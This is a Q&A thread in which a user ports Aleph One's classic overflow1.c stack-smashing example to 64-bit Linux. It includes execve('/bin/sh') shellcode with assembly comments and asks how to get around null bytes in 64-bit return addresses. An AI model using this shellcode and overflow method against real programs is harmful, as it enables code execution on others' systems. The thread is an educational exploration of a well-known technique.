1

I'm trying to execute overflow1.c from the Smashing the Stack for Fun and Profit paper by Aleph One.

Original overflow1.c code:

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

This code works fine on a 32-bit system.

I've modified the code to work on a 64-bit system:

char shellcode[] = "\x48\x31\xc0"                // xor    %rax,%rax
"\x99"                                       // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"   // mov $0x68732f6e69622fff,%rdi
"\xb0\x3b"                                   // mov    $0x3b,%al
"\x48\xc1\xef\x08"                           // shr    $0x8,%rdi
"\x57"                                       // push   %rdi
"\x48\x89\xe7"                               // mov    %rsp,%rdi
"\x57"                                       // push   %rdi
"\x52"                                       // push   %rdx
"\x48\x89\xe6"                               // mov    %rsp,%rsi
"\x0f\x05";                                  // syscall

char large_string[144];

int main(void) {
    char buffer[96];
    int i;
    long int *long_ptr = (long int *) large_string;
    printf("0x%x", buffer);
    for (i = 0; i < 18; i++)
        *(long_ptr + i) = (long int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

The program only loads the shellcode and then overwrites the return address with the address of buffer. The code works as it is supposed to.

However, here's where the problem arises.

Let's say that the address of buffer on a 64-bit system is 0x7fffffffdc10, then long int casts it to 0x00007fffffffdc10. When this is written into large_string, the 00 acts as a null and terminates the string. How do I overcome this?

I can't typecast the address to just integer because 64-bit systems have 8 byte addresses and not 4 byte addresses. How do I escape the "0x00" null character?

Karthik Balakrishnan
  • 4,353
  • 6
  • 37
  • 69
  • Why are you the incorrect using `void main()` rather than the correct `int main(void)`? (I understand you're trying to smash the stack, so perhaps there's a valid reason.) – Keith Thompson Feb 08 '15 at 06:07
  • @KeithThompson `int main()` is used so that the caller can know what the exit code was. For me the exit code is unimportant because the return address is changed and my code is executed. However, `int main()` can still be used and the stack will still be smashed. I'm simply following the paper's code as closely as I can. – Karthik Balakrishnan Feb 08 '15 at 06:18
  • `int main(void)` is specified by the C standard, as is `int main(int argc, char *argv[])`. `void main()` may be permitted by some compilers, but it's usually a sign of an author who doesn't know the language very well. – Keith Thompson Feb 08 '15 at 09:12
  • @KeithThompson - Well, the paper was released in 1996. http://phrack.org/issues/49/14.html – Karthik Balakrishnan Feb 09 '15 at 09:50
  • @KeithThompson - Current code edited to match standards. – Karthik Balakrishnan Feb 09 '15 at 10:04

1 Answers1

0

Your large_string is not a string, it is a byte buffer. So don't use string functions on it.

for (i = 0; i < sizeof(shellcode); i++)
    large_string[i] = shellcode[i];
memcpy(buffer,large_string, sizeof(shellcode));

Side notes:

  • Why are you first writing the address of buffer 18 times into large_string and then overwriting large_string?
  • You have shellcode with a given length, build large_string with a different length and finally write into buffer with another length. For example buffer is shorter than large_string, that might cause problems. You should do that better.
Werner Henze
  • 16,404
  • 12
  • 44
  • 69
  • @Cimbali Your first loop is writing to large_string[0..18*sizeof(long)], your second loop is writing to large_string[0..sizeof(shellcode)]. So you are overwriting at least parts of what you wrote to large_string in the first loop. – Werner Henze Feb 05 '15 at 09:38
  • Yeah, not mine, but I guess it's to be sure the address is rightly aligned. He is only overwriting on the size of shellcode, which should fit in `buffer` – Cimbali Feb 05 '15 at 09:40
  • @WernerHenze I'm writing the address of the buffer 18 times because the size of `large_string` is 140 bytes and the size of addresses on a 64-bit machine is 8 bytes. So I can write the address 140/8 = 18 times into `large_string`. And about your second side note, it IS my point to smash the stack, please look at the tag. – Karthik Balakrishnan Feb 06 '15 at 02:24
  • @Cimbali - Nope. Memcpy still uses the principle of strcpy. It stops copying a string the moment it encounters a null. – Karthik Balakrishnan Feb 08 '15 at 03:20
  • @Torcellite That is not true. memcpy copies exactly as many bytes as you tell it to do (-> third parameter to memcpy). – Werner Henze Feb 09 '15 at 09:26